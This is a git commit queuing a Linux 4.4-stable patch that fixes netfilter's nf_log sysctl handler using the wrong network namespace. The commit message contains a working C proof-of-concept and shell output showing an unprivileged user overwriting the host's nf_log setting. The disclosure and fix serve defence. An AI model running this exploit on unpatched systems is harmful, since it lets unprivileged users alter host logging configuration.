From: Greg Kroah-Hartman Date: Thu, 17 Nov 2016 09:50:17 +0000 (+0100) Subject: 4.4-stable patches X-Git-Tag: v4.4.33~3 X-Git-Url: http://git.ipfire.org/?a=commitdiff_plain;h=5e80f47d55e260c910208e28bb3638e1c87c4b69;p=thirdparty%2Fkernel%2Fstable-queue.git 4.4-stable patches added patches: netfilter-fix-namespace-handling-in-nf_log_proc_dostring.patch --- diff --git a/queue-4.4/netfilter-fix-namespace-handling-in-nf_log_proc_dostring.patch b/queue-4.4/netfilter-fix-namespace-handling-in-nf_log_proc_dostring.patch new file mode 100644 index 00000000000..f9d6b9d9dbc --- /dev/null +++ b/queue-4.4/netfilter-fix-namespace-handling-in-nf_log_proc_dostring.patch @@ -0,0 +1,138 @@ +From dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 Mon Sep 17 00:00:00 2001 +From: Jann Horn +Date: Sun, 18 Sep 2016 21:40:55 +0200 +Subject: netfilter: fix namespace handling in nf_log_proc_dostring + +From: Jann Horn + +commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream. + +nf_log_proc_dostring() used current's network namespace instead of the one +corresponding to the sysctl file the write was performed on. Because the +permission check happens at open time and the nf_log files in namespaces +are accessible for the namespace owner, this can be abused by an +unprivileged user to effectively write to the init namespace's nf_log +sysctls. + +Stash the "struct net *" in extra2 - data and extra1 are already used. + +Repro code: + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +char child_stack[1000000]; + +uid_t outer_uid; +gid_t outer_gid; +int stolen_fd = -1; + +void writefile(char *path, char *buf) { + int fd = open(path, O_WRONLY); + if (fd == -1) + err(1, "unable to open thing"); + if (write(fd, buf, strlen(buf)) != strlen(buf)) + err(1, "unable to write thing"); + close(fd); +} + +int child_fn(void *p_) { + if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC, + NULL)) + err(1, "mount"); + + /* Yes, we need to set the maps for the net sysctls to recognize us + * as namespace root. + */ + char buf[1000]; + sprintf(buf, "0 %d 1\n", (int)outer_uid); + writefile("/proc/1/uid_map", buf); + writefile("/proc/1/setgroups", "deny"); + sprintf(buf, "0 %d 1\n", (int)outer_gid); + writefile("/proc/1/gid_map", buf); + + stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY); + if (stolen_fd == -1) + err(1, "open nf_log"); + return 0; +} + +int main(void) { + outer_uid = getuid(); + outer_gid = getgid(); + + int child = clone(child_fn, child_stack + sizeof(child_stack), + CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID + |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL); + if (child == -1) + err(1, "clone"); + int status; + if (wait(&status) != child) + err(1, "wait"); + if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) + errx(1, "child exit status bad"); + + char *data = "NONE"; + if (write(stolen_fd, data, strlen(data)) != strlen(data)) + err(1, "write"); + return 0; +} + +Repro: + +$ gcc -Wall -o attack attack.c -std=gnu99 +$ cat /proc/sys/net/netfilter/nf_log/2 +nf_log_ipv4 +$ ./attack +$ cat /proc/sys/net/netfilter/nf_log/2 +NONE + +Because this looks like an issue with very low severity, I'm sending it to +the public list directly. + +Signed-off-by: Jann Horn +Signed-off-by: Pablo Neira Ayuso +Signed-off-by: Greg Kroah-Hartman + +--- + net/netfilter/nf_log.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +--- a/net/netfilter/nf_log.c ++++ b/net/netfilter/nf_log.c +@@ -401,7 +401,7 @@ static int nf_log_proc_dostring(struct c + size_t size = *lenp; + int r = 0; + int tindex = (unsigned long)table->extra1; +- struct net *net = current->nsproxy->net_ns; ++ struct net *net = table->extra2; + + if (write) { + if (size > sizeof(buf)) +@@ -453,7 +453,6 @@ static int netfilter_log_sysctl_init(str + 3, "%d", i); + nf_log_sysctl_table[i].procname = + nf_log_sysctl_fnames[i]; +- nf_log_sysctl_table[i].data = NULL; + nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN; + nf_log_sysctl_table[i].mode = 0644; + nf_log_sysctl_table[i].proc_handler = +@@ -463,6 +462,9 @@ static int netfilter_log_sysctl_init(str + } + } + ++ for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++) ++ table[i].extra2 = net; ++ + net->nf.nf_log_dir_header = register_net_sysctl(net, + "net/netfilter/nf_log", + table); diff --git a/queue-4.4/series b/queue-4.4/series index d66bdf95133..d6a5e48352c 100644 --- a/queue-4.4/series +++ b/queue-4.4/series @@ -35,3 +35,4 @@ acpi-apei-fix-incorrect-return-value-of-ghes_proc.patch asoc-sun4i-codec-return-error-code-instead-of-null-when-create_card-fails.patch mmc-mxs-initialize-the-spinlock-prior-to-using-it.patch btrfs-qgroup-prevent-qgroup-reserved-from-going-subzero.patch +netfilter-fix-namespace-handling-in-nf_log_proc_dostring.patch